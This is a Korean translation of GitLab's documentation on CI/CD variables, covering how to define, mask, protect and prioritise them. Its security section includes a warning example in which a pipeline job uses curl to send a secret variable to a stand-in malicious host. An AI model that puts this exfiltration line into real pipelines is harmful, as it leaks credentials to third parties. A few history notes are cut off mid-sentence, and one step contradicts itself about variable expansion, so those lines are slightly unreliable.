CI/CD 변수는 환경 변수의 한 종류입니다. 다음과 같은 용도로 사용할 수 있습니다:

• job과 파이프라인의 동작을 제어합니다.
• 재사용하려는 값을 저장합니다(예: job 스크립트).
• .gitlab-ci.yml 파일에 값을 하드코딩하지 않아도 됩니다.

변수 이름은 스크립트를 실행하는 데 사용되는 러너가 사용하는 셸에 따라 제한됩니다. 각 셸마다 고유한 예약 변수 이름 집합이 있습니다.

일관된 동작을 보장하려면 변수 값을 항상 작은따옴표나 큰따옴표로 묶어야 합니다. 변수는 내부적으로 Psych YAML 파서로 파싱되므로, 따옴표로 묶은 변수와 묶지 않은 변수가 다르게 파싱될 수 있습니다. 예를 들면 다음과 같습니다:

• VAR1: 012345는 8진수 값으로 해석되어 값이 5349가 됩니다.
• VAR1: "012345"는 값이 012345인 문자열로 파싱됩니다.
• VAR1: 019는 9가 유효한 8진수 자릿수가 아니기 때문에 8진수가 아닌 문자열 "019"로 파싱됩니다. 8진수 파싱은 모든 자릿수가 0-7일 때만 적용됩니다.

GitLab CI/CD의 고급 사용법에 대한 자세한 내용은 GitLab 엔지니어가 공유한 GitLab CI 워크플로 고급 활용 팁 7가지를 참고합니다.

미리 정의된 CI/CD 변수#

GitLab CI/CD는 파이프라인 설정과 job 스크립트에서 사용할 수 있는 미리 정의된 CI/CD 변수 집합을 제공합니다. 이 변수에는 파이프라인이 트리거되거나 실행될 때 필요할 수 있는 job, 파이프라인, 기타 값에 대한 정보가 담겨 있습니다.

미리 정의된 CI/CD 변수는 .gitlab-ci.yml에서 먼저 선언하지 않아도 사용할 수 있습니다. 예를 들면 다음과 같습니다:

job1:
  stage: test
  script:
    - echo "The job's stage is '$CI_JOB_STAGE'"

이 예시의 스크립트는 The job's stage is 'test'를 출력합니다.

.gitlab-ci.yml 파일에서 CI/CD 변수 정의하기#

.gitlab-ci.yml 파일에서 CI/CD 변수를 생성하려면 variables 키워드로 변수와 값을 정의합니다.

.gitlab-ci.yml 파일에 저장된 변수는 리포지터리에 접근 권한이 있는 모든 사용자에게 표시되므로, 민감하지 않은 프로젝트 설정 값만 저장해야 합니다. 예를 들어 DATABASE_URL 변수에 저장된 데이터베이스 URL이 이에 해당합니다. 시크릿이나 키 같은 값을 포함하는 민감한 변수는 UI에서 추가해야 합니다.

variables는 다음 위치에서 정의할 수 있습니다:

• job: 변수는 해당 job의 script, before_script, after_script 섹션과 일부 job 키워드에서만 사용할 수 있습니다.
• .gitlab-ci.yml 파일의 최상위 레벨: 변수는 파이프라인의 모든 job에 기본값으로 사용할 수 있지만, job이 같은 이름의 변수를 정의하면 해당 job의 변수가 우선합니다.

두 경우 모두 이 변수는 전역 키워드와 함께 사용할 수 없습니다.

예를 들면 다음과 같습니다:

variables:
  ALL_JOBS_VAR: "A default variable"

job1:
  variables:
    JOB1_VAR: "Job 1 variable"
  script:
    - echo "Variables are '$ALL_JOBS_VAR' and '$JOB1_VAR'"

job2:
  variables:
    ALL_JOBS_VAR: "Different value than default"
    JOB2_VAR: "Job 2 variable"
  script:
    - echo "Variables are '$ALL_JOBS_VAR', '$JOB2_VAR', and '$JOB1_VAR'"

이 예시에서:

• job1은 다음을 출력합니다: Variables are 'A default variable' and 'Job 1 variable'
• job2는 다음을 출력합니다: Variables are 'Different value than default', 'Job 2 variable', and ''

수동으로 트리거하는 파이프라인에서 미리 채워지는 변수를 정의하려면 value와 description 키워드를 사용합니다.

단일 job에서 기본 변수 건너뛰기#

job에서 기본 변수를 사용할 수 없게 하려면 variables를 {}로 설정합니다:

variables:
  DEFAULT_VAR: "A default variable"

job1:
  variables: {}
  script:
    - echo This job does not need any variables

UI에서 CI/CD 변수 정의하기#

토큰이나 비밀번호 같은 민감한 변수는 .gitlab-ci.yml 파일이 아니라 UI의 설정에 저장해야 합니다.

기본적으로 포크된 프로젝트의 파이프라인은 상위 프로젝트에서 사용할 수 있는 CI/CD 변수에 접근할 수 없습니다. 포크에서 생성된 머지 리퀘스트에 대해 상위 프로젝트에서 머지 리퀘스트 파이프라인을 실행하면, 모든 변수를 파이프라인에서 사용할 수 있게 됩니다.

프로젝트의 경우#

히스토리

• 기본 표시 방식이 GitLab 18.3에서 Visible에서 Masked로 변경되었습니다.

프로젝트 설정에 CI/CD 변수를 추가할 수 있습니다. 프로젝트는 최대 8000개의 CI/CD 변수를 가질 수 있습니다.

사전 요구 사항:

• Maintainer 권한을 가진 프로젝트 멤버여야 합니다.

프로젝트 설정에서 변수를 추가하거나 업데이트하려면:

1. 상단 바에서 Search or go to를 선택하고 프로젝트를 찾습니다.
2. 왼쪽 사이드바에서 Settings > CI/CD를 선택합니다.
3. Variables를 펼칩니다.
4. Add variable을 선택하고 세부 정보를 입력합니다:
   • Key: 한 줄이어야 하며, 공백 없이 문자, 숫자, _만 사용해야 합니다.
   • Value: 값은 최대 10,000자로 제한되며, 러너의 운영체제에 있는 제한사항의 영향도 받습니다. Visibility가 Masked 또는 Masked and hidden으로 설정된 경우 값에 추가 제한사항이 적용됩니다.
   • Type: Variable(기본값) 또는 File.
   • Environment scope: 선택 사항입니다. All (default)(*), 특정 환경, 또는 와일드카드 환경 범위 중에서 선택합니다.
   • Protect variable 선택 사항입니다. 선택하면 변수는 보호된 브랜치 또는 보호된 태그에서 실행되는 파이프라인에서만 사용할 수 있습니다.
   • Visibility: Visible, Masked(기본값), Masked and hidden 중에서 선택합니다.
   • Expand variable reference: 선택 사항입니다. 선택하면 변수가 다른 변수를 참조할 수 있습니다. Visibility가 Masked 또는 Masked and hidden으로 설정된 경우 다른 변수를 참조할 수 없습니다.

또는 API를 사용해서 프로젝트 변수를 추가할 수도 있습니다.

그룹의 경우#

히스토리

• 기본 표시 방식이 GitLab 18.3에서 Visible에서 Masked로 변경되었습니다.

CI/CD 변수를 그룹의 모든 프로젝트에서 사용할 수 있게 만들 수 있습니다. 그룹은 최대 30000개의 CI/CD 변수를 가질 수 있습니다.

사전 요구 사항:

• Owner 권한을 가진 그룹 멤버여야 합니다.

그룹 변수를 추가하려면:

1. 상단 바에서 Search or go to를 선택하고 그룹을 찾습니다.
2. 왼쪽 사이드바에서 Settings > CI/CD를 선택합니다.
3. Variables를 펼칩니다.
4. Add variable을 선택하고 세부 정보를 입력합니다:
   • Key: 한 줄이어야 하며, 공백 없이 문자, 숫자, _만 사용해야 합니다.
   • Value: 값은 최대 10,000자로 제한되며, 러너의 운영체제에 있는 제한사항의 영향도 받습니다. Visibility가 Masked 또는 Masked and hidden으로 설정된 경우 값에 추가 제한사항이 적용됩니다.
   • Type: Variable(기본값) 또는 File.
   • Protect variable 선택 사항입니다. 선택하면 변수는 보호된 브랜치 또는 보호된 태그에서 실행되는 파이프라인에서만 사용할 수 있습니다.
   • Visibility: Visible, Masked(기본값), Masked and hidden 중에서 선택합니다.
   • Expand variable reference: 선택 사항입니다. 선택하면 변수가 다른 변수를 참조할 수 있습니다. Visibility가 Masked 또는 Masked and hidden으로 설정된 경우 다른 변수를 참조할 수 없습니다.

프로젝트에서 사용할 수 있는 그룹 변수는 프로젝트의 Settings > CI/CD > Variables 섹션에 나열됩니다. 하위 그룹의 변수는 재귀적으로 상속됩니다.

또는 API를 사용해서 그룹 변수를 추가할 수도 있습니다.

환경 범위#

그룹 CI/CD 변수를 특정 환경에서만 사용할 수 있도록 설정하려면:

1. 상단 바에서 Search or go to를 선택하고 그룹을 찾습니다.
2. 왼쪽 사이드바에서 Settings > CI/CD를 선택합니다.
3. Variables를 펼칩니다.
4. 변수 오른쪽에서 Edit(✏️)을 선택합니다.
5. Environment scope에서 All (default)(*), 특정 환경, 또는 와일드카드 환경 범위 중에서 선택합니다.

인스턴스의 경우#

히스토리

• 기본 표시 방식이 GitLab 18.3에서 Visible에서 Masked로 변경되었습니다.
• Masked and hidden 옵션이 GitLab 19.0에서 도입되었습니다.

CI/CD 변수를 GitLab 인스턴스의 모든 프로젝트와 그룹에서 사용할 수 있게 만들 수 있습니다.

사전 요구 사항:

• 인스턴스에 대한 관리자 접근 권한이 있어야 합니다.

인스턴스 변수를 추가하려면:

1. 오른쪽 상단에서 Admin을 선택합니다.
2. 왼쪽 사이드바에서 Settings > CI/CD를 선택합니다.
3. Variables를 펼칩니다.
4. Add variable을 선택하고 세부 정보를 입력합니다:
   • Key: 한 줄이어야 하며, 공백 없이 문자, 숫자, _만 사용해야 합니다.
   • Value: 값은 최대 10,000자로 제한되며, 러너의 운영체제에 있는 제한사항의 영향도 받습니다. Visibility가 Visible로 설정된 경우 다른 제한사항은 없습니다.
   • Type: Variable(기본값) 또는 File.
   • Protect variable 선택 사항입니다. 선택하면 변수는 보호된 브랜치 또는 태그에서 실행되는 파이프라인에서만 사용할 수 있습니다.
   • Visibility: Visible, Masked(기본값), Masked and hidden 중에서 선택합니다.
   • Expand variable reference: 선택 사항입니다. 선택하면 변수가 다른 변수를 참조할 수 있습니다. Visibility가 Masked 또는 Masked and hidden으로 설정된 경우 다른 변수를 참조할 수 없습니다.

또는 API를 사용해서 인스턴스 변수를 추가할 수도 있습니다.

CI/CD 변수 보안#

.gitlab-ci.yml 파일에 푸시된 코드가 변수를 노출시킬 수 있습니다. 변수는 job 로그에 실수로 노출되거나, 악의적으로 제3자 서버로 전송될 수 있습니다.

다음 작업을 하기 전에 .gitlab-ci.yml 파일을 변경하는 모든 머지 리퀘스트를 검토합니다:

• 포크된 프로젝트에서 제출된 머지 리퀘스트에 대해 상위 프로젝트에서 파이프라인 실행.
• 변경 사항 머지.

파일을 추가하거나 파이프라인을 실행하기 전에 가져온 프로젝트의 .gitlab-ci.yml 파일을 검토합니다.

다음 예시는 .gitlab-ci.yml 파일에 있는 악성 코드를 보여줍니다:

accidental-leak-job:
  script:                                         # Password exposed accidentally
    - echo "This script logs into the DB with $USER $PASSWORD"
    - db-login $USER $PASSWORD

malicious-job:
  script:                                         # Secret exposed maliciously
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

accidental-leak-job과 같은 스크립트를 통해 시크릿이 실수로 유출될 위험을 줄이려면, 민감한 정보를 담은 모든 변수를 job 로그에서 항상 마스킹해야 합니다. 또한 변수를 보호된 브랜치 및 태그로만 제한할 수 있습니다.

또는 시크릿을 저장하고 조회하기 위해 외부 시크릿 관리 제공업체와 연결할 수 있습니다.

malicious-job과 같은 악성 스크립트는 리뷰 과정에서 반드시 걸러내야 합니다. 리뷰어는 이런 코드를 발견하면 절대 파이프라인을 트리거해서는 안 됩니다. 악성 코드는 마스킹된 변수와 보호된 변수 모두를 노출시킬 수 있기 때문입니다.

변수 값은 aes-256-cbc로 암호화되어 데이터베이스에 저장됩니다. 이 데이터는 유효한 시크릿 파일로 읽고 복호화할 수 있습니다.

CI/CD 변수 마스킹하기#

프로젝트, 그룹, 인스턴스에서 CI/CD 변수를 마스킹해서 값이 job 로그에 표시되지 않도록 할 수 있습니다. job이 마스킹된 변수의 값을 출력하면, job 로그에서 값이 [MASKED]로 대체됩니다. 경우에 따라 [MASKED] 값 뒤에 x 문자가 이어질 수도 있습니다.

사전 요구 사항:

• UI에서 CI/CD 변수 추가하기에 필요한 것과 동일한 역할 또는 접근 수준을 가지고 있어야 합니다.

변수를 마스킹하려면:

1. 그룹, 프로젝트, 또는 Admin 영역에서 Settings > CI/CD를 선택합니다.
2. Variables를 펼칩니다.
3. 보호하려는 변수 옆에서 Edit을 선택합니다.
4. Visibility에서 Mask variable을 선택합니다.
5. 권장 사항입니다. Expand variable reference 체크박스를 해제합니다. 변수 확장이 활성화된 경우 변수 값에 사용할 수 있는 영숫자 이외의 문자는 _, :, @, -, +, ., ~, =, /, ~뿐입니다. 설정이 비활성화된 경우 모든 문자를 사용할 수 있습니다.
6. Update variable을 선택합니다.

변수 값은 다음 조건을 충족해야 합니다:

• 공백 없이 한 줄이어야 합니다.
• 8자 이상이어야 합니다.
• 기존의 미리 정의된 CI/CD 변수 또는 사용자 지정 CI/CD 변수 이름과 일치하지 않아야 합니다.

프로세스가 값을 약간 변형된 형태로 출력하면 값을 마스킹할 수 없습니다. 예를 들어 셸이 특수 문자를 이스케이프하기 위해 \를 추가하면 값이 마스킹되지 않습니다:

• 마스킹 대상 변수 값 예시: My[value]
• 다음 출력은 마스킹되지 않습니다: My\[value\]

CI_DEBUG_SERVICES가 활성화되면 변수 값이 노출될 수 있습니다. 자세한 내용은 서비스 컨테이너 로깅을 참고합니다.

CI/CD 변수 숨기기#

히스토리

• GitLab 17.4에서 ci_hidden_variables라는 이름의 기능 플래그와
• GitLab 17.6에서 일반 공급(GA)되었습니다.

마스킹 외에도 CI/CD 설정 페이지에서 CI/CD 변수의 값이 노출되지 않도록 할 수 있습니다. 변수 숨기기는 새 변수를 생성할 때만 가능하며, 기존 변수를 숨김 상태로 업데이트할 수는 없습니다.

사전 요구 사항:

• UI에서 CI/CD 변수 추가하기에 필요한 것과 동일한 역할 또는 접근 수준을 가지고 있어야 합니다.
• 변수 값은 마스킹된 변수 요구 사항을 충족해야 합니다.

변수를 숨기려면 UI에서 새 CI/CD 변수를 추가할 때 Visibility 섹션에서 Masked and hidden을 선택합니다. 변수를 저장한 후에는 CI/CD 파이프라인에서 이 변수를 사용할 수 있지만, UI에서 다시 노출할 수는 없습니다.

CI/CD 변수 보호하기#

프로젝트, 그룹, 인스턴스의 CI/CD 변수를 보호된 브랜치 또는 보호된 태그에서 실행되는 파이프라인에서만 사용할 수 있도록 설정할 수 있습니다.

병합 결과 파이프라인과 머지 리퀘스트 파이프라인은 선택적으로 보호된 변수에 접근할 수 있습니다.

사전 요구 사항:

• UI에서 CI/CD 변수 추가하기에 필요한 것과 동일한 역할 또는 접근 수준을 가지고 있어야 합니다.

변수를 보호된 상태로 설정하려면:

1. 프로젝트 또는 그룹에서 Settings > CI/CD로 이동합니다.
2. Variables를 펼칩니다.
3. 보호하려는 변수 옆에서 Edit을 선택합니다.
4. Protect variable 체크박스를 선택합니다.
5. Update variable을 선택합니다.

이 변수는 이후의 모든 파이프라인에서 사용할 수 있습니다.

파일 타입 CI/CD 변수 사용하기#

미리 정의된 CI/CD 변수와 .gitlab-ci.yml 파일에서 정의된 변수는 모두 "variable" 타입입니다 (API에서 "variable_type": "env_var").

Variable 타입 변수는 다음과 같습니다:

• 키와 값 쌍으로 구성됩니다.
• job에서 환경 변수로 사용할 수 있으며, 다음과 같이 매핑됩니다:
  • CI/CD 변수 키는 환경 변수 이름이 됩니다.
  • CI/CD 변수 값은 환경 변수 값이 됩니다.

프로젝트, 그룹, 인스턴스의 CI/CD 변수는 기본적으로 "variable" 타입이지만, 선택적으로 "file" 타입 (API에서 "variable_type": "file")으로 설정할 수 있습니다. File 타입 변수는 다음과 같습니다:

• 키, 값, 파일로 구성됩니다.
• job에서 환경 변수로 사용할 수 있으며, 다음과 같이 매핑됩니다:
  • CI/CD 변수 키는 환경 변수 이름이 됩니다.
  • CI/CD 변수 값은 임시 파일에 저장됩니다.
  • 임시 파일의 경로는 환경 변수 값이 됩니다.

입력으로 파일이 필요한 도구에는 파일 타입 CI/CD 변수를 사용합니다.

예를 들어 AWS CLI와 kubectl은 모두 설정에 File 타입 변수를 사용하는 도구입니다. kubectl을 다음과 함께 사용한다고 가정해 보겠습니다:

• 키가 KUBE_URL이고 값이 https://example.com인 변수.
• 키가 KUBE_CA_PEM이고 값이 인증서인 파일 타입 변수.

변수를 받는 --server 옵션에는 KUBE_URL을 전달하고, 파일 경로를 받는 --certificate-authority 옵션에는 $KUBE_CA_PEM을 전달합니다:

kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"

.gitlab-ci.yml 변수를 파일 타입 변수로 사용하기#

.gitlab-ci.yml 파일에서 정의한 CI/CD 변수는 파일 타입 변수로 설정할 수 없습니다. 파일 경로를 입력으로 요구하는 도구가 있지만 .gitlab-ci.yml에서 정의한 변수를 사용하고 싶다면:

• 변수 값을 파일에 저장하는 명령어를 실행합니다.
• 해당 파일을 도구와 함께 사용합니다.

예를 들면 다음과 같습니다:

variables:
  SITE_URL: "https://gitlab.example.com"

job:
  script:
    - echo "$SITE_URL" > "site-url.txt"
    - mytool --url-file="site-url.txt"

CI/CD 변수 확장 허용하기#

히스토리

• Expand variable 옵션이 GitLab 18.6에서 기본적으로 비활성화되었습니다.

변수를 설정해서 $ 문자가 포함된 값을 다른 변수에 대한 참조로 처리하도록 할 수 있습니다. 파이프라인이 실행되면 참조가 확장되어 참조된 변수의 값을 사용합니다.

UI에서 정의된 CI/CD 변수는 기본적으로 확장되지 않습니다. .gitlab-ci.yml 파일에서 정의된 CI/CD 변수는 variables:expand 키워드로 변수 확장을 제어합니다.

사전 요구 사항:

• UI에서 CI/CD 변수 추가하기에 필요한 것과 동일한 역할 또는 접근 수준을 가지고 있어야 합니다.

변수에 대해 변수 확장을 활성화하려면:

1. 프로젝트 또는 그룹에서 Settings > CI/CD로 이동합니다.
2. Variables를 펼칩니다.
3. 확장하지 않으려는 변수 옆에서 Edit을 선택합니다.
4. Expand variable reference 체크박스를 선택합니다.
5. Update variable을 선택합니다.

CI/CD 변수 우선순위#

같은 이름의 CI/CD 변수를 여러 곳에서 정의할 수 있습니다. job이 실행되면 GitLab은 우선순위가 가장 높은 소스의 값을 사용합니다. 존재하는 값 중 우선순위가 가장 높은 값이 우선순위가 낮은 모든 값을 재정의합니다.

우선순위가 높은 것부터 낮은 것까지 순서는 다음과 같습니다:

1. 파이프라인 실행 정책 또는 스캔 실행 정책에서 정의된 변수. 이 변수는 정책이 파이프라인에 추가하는 job에만 적용되며, 파이프라인의 다른 job에는 적용되지 않습니다.
2. 수동 job 변수. 수동 job을 실행할 때 설정됩니다.
3. 파이프라인 변수. 다음에서 비롯됩니다:
   • Run pipeline 페이지
   • 파이프라인 스케줄
   • 파이프라인 API
   • 트리거 API
   • ci.variable 푸시 옵션
   • 업스트림 파이프라인
4. 프로젝트 변수.
5. 그룹 변수. 같은 변수 이름이 그룹과 그 하위 그룹에 모두 존재하면, job은 가장 가까운 하위 그룹의 값을 사용합니다. 예를 들어 Group > Subgroup 1 > Subgroup 2 > Project 구조라면 Subgroup 2에서 정의된 변수가 우선합니다.
6. 인스턴스 변수.
7. dependencies 또는 needs에 나열된 job의 dotenv 리포트에서 비롯된 변수.
8. .gitlab-ci.yml 파일의 변수. 우선순위가 높은 것부터 낮은 것까지:
   1. job의 rules:variables.
   2. job의 variables.
   3. workflow:rules:variables.
   4. 파일 최상위 레벨의 기본 variables.
9. 배포 변수.
10. 미리 정의된 변수. 모든 미리 정의된 변수가 가장 낮은 우선순위를 갖는 것은 아닙니다. CI_ENVIRONMENT_ID, CI_ENVIRONMENT_SLUG, CI_ENVIRONMENT_URL, CI_PAGES_URL은 재정의할 수 없습니다.

예를 들어 프로젝트에 production으로 설정된 DEPLOY_TARGET 프로젝트 변수가 있고, 다음과 같은 .gitlab-ci.yml 파일이 있다고 가정해 보겠습니다:

variables:
  DEPLOY_TARGET: "staging"

deploy:
  variables:
    DEPLOY_TARGET: "review"
  script:
    - echo "Deploying to $DEPLOY_TARGET"

이 예시에서:

• deploy job은 Deploying to production을 출력합니다. 프로젝트 변수가 .gitlab-ci.yml 파일에 설정된 두 값보다 우선순위가 높기 때문입니다.
• 프로젝트 변수가 없다면 job은 Deploying to review를 출력합니다. job에서 정의된 변수가 기본 변수보다 우선순위가 높기 때문입니다.
• 파이프라인을 수동으로 실행하면서 DEPLOY_TARGET을 canary로 설정하면, job은 Deploying to canary를 출력합니다. 파이프라인 변수가 프로젝트 변수보다 우선순위가 높기 때문입니다.

추가 세부 사항:

• secrets에서 비롯된 값은 이 우선순위 체계에 포함되지 않습니다. 러너는 job이 실행될 때 외부 시크릿 관리자에서 이 값을 가져옵니다.

• 입력(Input)은 CI/CD 변수가 아니며 이 우선순위 체계에 포함되지 않습니다. GitLab은 파이프라인이 생성될 때 입력을 해당 값으로 대체하므로, 프로젝트, 그룹, 인스턴스 변수로는 입력 값을 변경할 수 없습니다.

파이프라인 변수 사용하기#

파이프라인 변수는 새 파이프라인을 실행할 때 지정하는 변수입니다.

사전 요구 사항:

• 프로젝트에서 Developer 권한을 가지고 있어야 합니다.

다음 작업을 할 때 파이프라인 변수를 지정할 수 있습니다:

• UI에서 파이프라인을 수동으로 실행할 때.
• 예약된 파이프라인을 생성할 때.
• pipelines API 엔드포인트를 사용해서 파이프라인을 생성할 때.
• triggers API 엔드포인트를 사용해서 파이프라인을 생성할 때.
• 푸시 옵션을 사용할 때.
• variables 키워드, trigger:forward 키워드, 또는 dotenv 변수를 사용해서 다운스트림 파이프라인에 변수를 전달할 때.

이 변수는 우선순위가 높으며, 프로젝트, 그룹, 인스턴스 설정이나 .gitlab-ci.yml 파일에서 정의된 같은 이름의 변수를 재정의할 수 있습니다.

파이프라인 변수 제한하기#

히스토리

• GitLab 17.1에서 도입되었습니다.
• GitLab.com의 경우, GitLab 17.7에서 새 네임스페이스의 모든 새 프로젝트에 대해

파이프라인 변수로 파이프라인을 실행할 수 있는 사용자를 특정 역할로 제한할 수 있습니다. 더 낮은 역할을 가진 사용자가 파이프라인 변수를 사용하려고 하면 Insufficient permissions to set pipeline variables 오류 메시지를 받게 됩니다.

사전 요구 사항:

• 프로젝트에서 Maintainer 권한을 가지고 있어야 합니다. 최소 역할이 이전에 owner 또는 no_one_allowed로 설정되어 있었다면 프로젝트에서 Owner 권한을 가지고 있어야 합니다.

파이프라인 변수 사용을 Maintainer 권한 이상으로 제한하려면:

• Settings > CI/CD > Variables로 이동합니다.
• Minimum role to use pipeline variables에서 다음 중 하나를 선택합니다:
  • no_one_allowed: 파이프라인 변수를 사용하는 파이프라인은 실행할 수 없습니다. GitLab.com의 새 네임스페이스에 있는 새 프로젝트의 기본값입니다. 설정이 이 값이 되면 Owner 권한만 이를 변경할 수 있습니다.
  • owner: Owner 권한을 가진 사용자만 파이프라인 변수로 파이프라인을 실행할 수 있습니다. 설정이 이 값이 되면 Owner 권한만 이를 변경할 수 있습니다.
  • maintainer: Maintainer 또는 Owner 권한을 가진 사용자만 파이프라인 변수로 파이프라인을 실행할 수 있습니다. GitLab Self-Managed와 GitLab Dedicated에서 별도로 지정하지 않았을 때의 기본값입니다.
  • developer: Developer, Maintainer, Owner 권한을 가진 사용자만 파이프라인 변수로 파이프라인을 실행할 수 있습니다.

또한 프로젝트 API를 사용해서 ci_pipeline_variables_minimum_override_role 설정의 역할을 지정할 수도 있습니다.

이 제한은 프로젝트나 그룹 설정에서 비롯된 CI/CD 변수에는 영향을 미치지 않습니다. 대부분의 job은 YAML 설정에서 variables 키워드를 계속 사용할 수 있습니다. 다중 프로젝트 파이프라인을 시작하기 위해 trigger 키워드를 사용하는 job은 그럴 수 없습니다. 이런 job은 자신의 변수를 파이프라인 변수로 다운스트림 파이프라인에 전달하기 때문입니다.

이런 job의 경우:

• 다운스트림 프로젝트의 설정이 적용됩니다. GitLab은 다운스트림 프로젝트에서 사용자의 역할을 확인합니다. 업스트림 프로젝트에서의 역할은 영향을 미치지 않습니다.
• 사용자의 역할이 다운스트림 프로젝트에 설정된 최소 역할보다 낮으면, 트리거 job은 Insufficient permissions to set pipeline variables 오류와 함께 실패하며, GitLab은 다운스트림 파이프라인을 생성하지 않습니다.
• 변수를 전달하지 않는 트리거 job은 제한되지 않습니다. 트리거 job은 기본 variables를 상속하므로, variables 키워드가 없는 job도 변수를 전달할 수 있습니다. 이를 방지하려면 inherit:variables: false를 사용합니다.
• 이 제한은 trigger:forward:pipeline_variables로 전달되는 변수에도 적용됩니다. 이 전달 기능은 기본적으로 비활성화되어 있습니다.

같은 프로젝트에서 부모-자식 파이프라인을 트리거하는 job은 이 설정의 제한을 받지 않습니다.

여러 프로젝트에 파이프라인 변수 제한 활성화하기#

히스토리

• GitLab 18.4에서 도입되었습니다.

프로젝트가 많은 그룹의 경우, 파이프라인 변수를 사용하지 않는 모든 프로젝트에서 파이프라인 변수를 비활성화할 수 있습니다. 이 옵션은 파이프라인 변수를 한 번도 사용하지 않은 프로젝트에 대해 Minimum role to use pipeline variables 설정을 no_one_allowed로 설정합니다.

사전 요구 사항:

• 그룹에서 Owner 권한을 가지고 있어야 합니다.

그룹 내 프로젝트에서 파이프라인 변수 제한 설정을 활성화하려면:

1. 상단 바에서 Search or go to를 선택하고 그룹을 찾습니다.
2. 왼쪽 사이드바에서 Settings > CI/CD를 선택합니다.
3. Variables를 펼칩니다.
4. Disable pipeline variables in projects that don't use them 섹션에서 Start migration을 선택합니다.

마이그레이션은 백그라운드에서 실행됩니다. 마이그레이션이 완료되면 이메일 알림을 받습니다. 프로젝트 Maintainer는 필요한 경우 나중에 개별 프로젝트에 대한 설정을 변경할 수 있습니다.

변수 내보내기#

별도의 셸 컨텍스트에서 실행되는 스크립트는 export, alias, 로컬 함수 정의, 그 밖의 로컬 셸 업데이트 사항을 공유하지 않습니다.

즉, job이 실패하면 사용자 정의 스크립트로 생성된 변수는 내보내지지 않습니다.

러너가 .gitlab-ci.yml에서 정의된 job을 실행할 때:

• before_script와 기본 스크립트에 지정된 스크립트는 하나의 셸 컨텍스트에서 함께 실행되며, 연결됩니다.
• after_script에 지정된 스크립트는 before_script와 지정된 스크립트와는 완전히 별도인 셸 컨텍스트에서 실행됩니다.

스크립트가 실행되는 셸과 관계없이, 러너 출력에는 다음이 포함됩니다:

• 미리 정의된 변수.
• 다음에서 정의된 변수:
  • 인스턴스, 그룹, 프로젝트 CI/CD 설정.
  • .gitlab-ci.yml 파일의 variables: 섹션.
  • .gitlab-ci.yml 파일의 secrets: 섹션.
  • config.toml.

러너는 export MY_VARIABLE=1처럼 스크립트 본문에서 실행되는 수동 export, 셸 alias, 함수를 처리할 수 없습니다.

예를 들어 다음 .gitlab-ci.yml 파일에는 다음과 같은 스크립트가 정의되어 있습니다:

job:
 variables:
   JOB_DEFINED_VARIABLE: "job variable"
 before_script:
   - echo "This is the 'before_script' script"
   - export MY_VARIABLE="variable"
 script:
   - echo "This is the 'script' script"
   - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
   - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
   - echo "MY_VARIABLE's value is ${MY_VARIABLE}"
 after_script:
   - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
   - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
   - echo "MY_VARIABLE's value is ${MY_VARIABLE}"

러너가 job을 실행할 때:

1. before_script가 실행됩니다:
   1. 출력에 내용을 표시합니다.
   2. MY_VARIABLE 변수를 정의합니다.
2. script가 실행됩니다:
   1. 출력에 내용을 표시합니다.
   2. JOB_DEFINED_VARIABLE의 값을 표시합니다.
   3. CI_COMMIT_SHA의 값을 표시합니다.
   4. MY_VARIABLE의 값을 표시합니다.
3. after_script가 새로운 별도의 셸 컨텍스트에서 실행됩니다:
   1. 출력에 내용을 표시합니다.
   2. JOB_DEFINED_VARIABLE의 값을 표시합니다.
   3. CI_COMMIT_SHA의 값을 표시합니다.
   4. MY_VARIABLE의 빈 값을 표시합니다. after_script가 before_script와 별도의 셸 컨텍스트에 있기 때문에 변수 값을 감지할 수 없습니다.

관련 주제#

• 실행 중인 애플리케이션에 CI/CD 변수를 전달하도록 Auto DevOps를 설정할 수 있습니다. CI/CD 변수를 실행 중인 애플리케이션 컨테이너에서 환경 변수로 사용하려면, 변수 키 앞에 K8S_SECRET_을 붙입니다.

• GitLab을 사용한 복잡한 설정 데이터 관리 다루기(Managing the Complex Configuration Data Management Monster Using GitLab) 영상은 Complex Configuration Data Monorepo 예제 프로젝트를 단계별로 다룹니다. 이 영상은 애플리케이션 빌드나 배포의 복잡한 설정을 위해 여러 레벨의 그룹 CI/CD 변수를 환경 범위가 지정된 프로젝트 변수와 결합하는 방법을 설명합니다.

  이 예제는 테스트를 위해 자신의 그룹이나 인스턴스로 복사할 수 있습니다. 이 예제에서 보여주는 다른 GitLab CI 패턴에 대한 자세한 내용은 프로젝트 페이지에서 확인할 수 있습니다.

• CI/CD 변수를 다운스트림 파이프라인에 전달할 수 있습니다. 다운스트림 파이프라인에 전달할 변수 유형을 지정하려면 trigger:forward 키워드를 사용합니다.